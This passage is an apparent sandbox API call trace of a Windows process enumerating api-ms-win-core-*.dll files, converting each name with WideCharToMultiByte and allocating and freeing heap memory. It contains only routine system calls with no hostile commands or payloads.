lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xa9c120, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DATETIME-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.899] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd32bf2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd32bf2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-debug-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xa9c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DEBUG-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.899] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-delayload-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xa9c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-DELAYLOAD-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0136.899] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.899] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.900] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2ccc07d5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2ccc07d5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-errorhandling-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa9c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-ERRORHANDLING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.900] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cd7eeb0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cd7eeb0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-fibers-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FIBERS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.900] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa9c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.900] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.900] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="")) returned 1 [0136.900] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", cchWideChar=31, lpMultiByteStr=0xa9c120, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.901] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8c9b158, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="")) returned 1 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa9c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-FILE-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.901] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cfe04a0, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cfe04a0, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-handle-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HANDLE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.901] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.901] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-heap-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.901] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa9c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-HEAP-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.902] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d078a1c, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d078a1c, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-interlocked-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 38 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", cchWideChar=38, lpMultiByteStr=0xa9c120, cbMultiByte=38, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-INTERLOCKED-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 38 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.902] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-io-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", cchWideChar=29, lpMultiByteStr=0xa9c288, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-IO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 29 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.902] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-libraryloader-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.902] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa9c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0136.902] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.902] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.903] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, 